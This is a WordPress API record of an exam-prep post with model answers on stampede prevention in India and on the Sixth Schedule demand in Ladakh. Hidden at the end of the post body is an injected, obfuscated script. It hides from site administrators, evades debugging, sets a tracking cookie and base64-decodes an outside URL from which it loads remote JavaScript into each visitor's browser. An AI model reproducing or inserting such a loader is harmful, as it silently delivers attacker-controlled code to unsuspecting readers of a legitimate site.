{"id":2484,"date":"2025-10-01T06:57:53","date_gmt":"2025-10-01T06:57:53","guid":{"rendered":"https:\/\/iasquest.com\/?p=2484"},"modified":"2026-02-11T18:51:45","modified_gmt":"2026-02-11T18:51:45","slug":"stampede-incidents-crowd-management-leh-apex-body-lab-and-kargil-democratic-alliance-kda","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/stampede-incidents-crowd-management-leh-apex-body-lab-and-kargil-democratic-alliance-kda\/","title":{"rendered":"Stampede incidents &#038; Crowd Management &#038; Leh Apex Body (LAB) and Kargil Democratic Alliance (KDA)"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. Stampede incidents, such as the recent tragedy in Tamil Nadu, highlight gaps in crowd management, disaster preparedness, and governance. Discuss the major causes of stampedes in India and suggest effective institutional and technological measures to prevent such tragedies.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus: General Studies \u2013 III: Disaster and Disaster Management.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">Stampedes are recurring tragedies in India, often during religious gatherings, political rallies, or public events. The recent stampede in Tamil Nadu and similar episodes in Karnataka reflect systemic gaps in crowd management, governance, and disaster preparedness.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-3\"><strong>Causes of Stampedes<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>1. Overcrowding &amp; Poor Infrastructure<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">Narrow entry\/exit points, inadequate barricades, lack of emergency exits.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>2. Administrative Gaps<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">Weak planning, poor coordination among police, district administration, and event organizers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>3. Lack of Crowd Science Awareness<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">Organizers often fail to apply crowd density norms and flow management principles.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>4. Trigger Events<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">Sudden panic due to rumors (fire, collapse, police lathi charge) leads to mass rush.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>5. Inadequate Disaster Preparedness<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\">Absence of medical facilities, emergency response teams, or evacuation drills.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>6. Socio-Cultural Factors<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">High emotional devotion during festivals\/political rallies leading to uncontrolled crowds.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-16\"><a><\/a><strong>Consequences<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>Loss of lives and injuries<\/strong> (mostly women, children, elderly)<\/li>\n\n\n\n<li><strong>Erosion of public trust<\/strong> in authorities and organizers.<\/li>\n\n\n\n<li><strong>Communal or political tensions<\/strong> when incidents are linked with religious events.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-18\"><strong>Measures for Prevention<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>1. Policy &amp; Legal Framework<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Strict enforcement of <strong>National Disaster Management Authority (NDMA) guidelines (2014)<\/strong> on crowd management.<\/li>\n\n\n\n<li>Mandatory safety audits before large gatherings.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>2. Technological Interventions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>Use of <strong>CCTV, drones, AI-based crowd density monitoring<\/strong>.<\/li>\n\n\n\n<li>Mobile apps for real-time alerts and crowd updates.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>3. Administrative Measures<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>Deployment of trained crowd marshals and police units.<\/li>\n\n\n\n<li>Pre-event planning with mock drills and evacuation protocols<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>4. Infrastructure Upgradation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">Wider entry\/exit gates, multiple evacuation routes, proper signage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>5. Community Participation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">Sensitizing organizers, volunteers, and local communities about crowd discipline.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>6. Post-Incident Measures<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">Independent inquiry commissions, accountability fixing, and compensation mechanisms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">Stampedes are <strong>not natural disasters<\/strong> but <strong>man-made failures<\/strong>. With <strong>smart crowd management systems, strict enforcement of safety standards, and community awareness<\/strong>, India can prevent such tragedies. Building resilience in governance and preparedness is key to ensuring public safety during mass gatherings.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE [2020]<\/strong> <br><strong>Q. Discuss the recent measures initiated in disaster management by the Government of India departing from the earlier reactive approach.\u00a0 [10 Marks]<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/karur-stampede-tn-government-to-frame-rules-and-guidelines-for-public-events-cm-stalin\/article70108170.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/karur-stampede-tn-government-to-frame-rules-and-guidelines-for-public-events-cm-stalin\/article70108170.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-33 wp-block-paragraph\" style=\"color:#ff0000\"><strong>2. The demand by the Leh Apex Body (LAB) and Kargil Democratic Alliance (KDA) for constitutional safeguards in Ladakh has revived the debate on the extension of Sixth Schedule provisions to the region. How can the Sixth Schedule help protect Ladakh\u2019s land, culture, and political rights? What challenges may arise in implementing it?\u201d<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <strong>General Studies \u2013 II:Functions and Responsibilities of the Union and the States, Issues and Challenges Pertaining to the Federal Structure, Devolution of Powers and Finances up to Local Levels and Challenges Therein<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">Ladakh became a Union Territory in 2019, but local groups like the Leh Apex Body (LAB) and Kargil Democratic Alliance (KDA) demand constitutional safeguards. They seek protection under the Sixth Schedule, which gives special powers of self-governance to tribal areas in the Northeast.<strong>\u00a0<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-35\"><strong>How the Sixth Schedule can help Ladakh<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>1. Protection of Land and Resources \u2013<\/strong> Local councils can control land transfer and natural resources, preventing outside exploitation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>2. Cultural Safeguards \u2013 <\/strong>Ladakh\u2019s unique Buddhist and tribal heritage can be preserved through community-based laws.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>3. Political Representation \u2013 <\/strong>Autonomous councils would give Ladakhis direct decision-making powers, reducing feelings of neglect.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>4. Tribal Rights \u2013 <\/strong>With over 90% tribal population, Sixth Schedule can safeguard customary practices and livelihoods.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>5. Preventing Demographic Change \u2013<\/strong> Restrictions on land transfer can prevent large-scale migration altering local identity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>6. Confidence Building \u2013 S<\/strong>hows government commitment to local aspirations, reducing alienation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-42\"><a><\/a><strong>Challenges in Implementation<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>1. Strategic Sensitivity \u2013 <\/strong>Ladakh borders China and Pakistan; too much autonomy could raise security concerns.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>2. Governance Overlap \u2013 <\/strong>Balancing powers between Union Territory administration, Hill Councils, and Sixth Schedule bodies may ca<strong>use friction.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>3. Precedent for Other Regions \u2013<\/strong> Granting Ladakh this status may lead to similar demands in other UTs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>4. Integration vs. Autonomy \u2013<\/strong> The Centre aims for integration; too much autonomy may dilute direct administrative control.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-47\"><a><\/a><strong>Way Forward<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>Explore modified Sixth Schedule provisions suited to Ladakh\u2019s strategic context.<\/li>\n\n\n\n<li>Strengthen Ladakh Autonomous Hill Development Councils with more powers and finances.<\/li>\n\n\n\n<li>Ensure inclusive dialogue with LAB, KDA, and civil society.<\/li>\n\n\n\n<li>Balance local aspirations with national security concerns.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">Extending or adapting the Sixth Schedule to Ladakh can protect land, culture, and tribal rights, but it must be designed carefully to address security sensitivities. A middle path\u2014stronger local autonomy within the UT framework\u2014could rebuild trust and ensure both development and national integration.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE [2025]<\/strong> <br><strong>Q.Examine the evolving pattern of Centre-State financial relations in the context of planned development in India. How far have the recent reforms impacted the fiscal federalism in India?\u00a0 [15 Marks]<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/ladakh\/ladakh-normalcy-leh-apex-body-talks-with-mha\/article70109567.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/ladakh\/ladakh-normalcy-leh-apex-body-talks-with-mha\/article70109567.ece<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Stampede incidents, such as the recent tragedy in Tamil Nadu, highlight gaps in crowd management, disaster preparedness, and governance. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2485,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,39,46,84,25,26,85,12],"tags":[],"class_list":["post-2484","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-daws","category-disaster-management","category-functions-and-responsibilities-of-the-union-and-the-states","category-gs-2","category-gs-3","category-leh-apex-body-lab-and-kargil-democratic-alliance-kda","category-mains"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2484"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2484\/revisions"}],"predecessor-version":[{"id":2989,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2484\/revisions\/2989"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2485"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}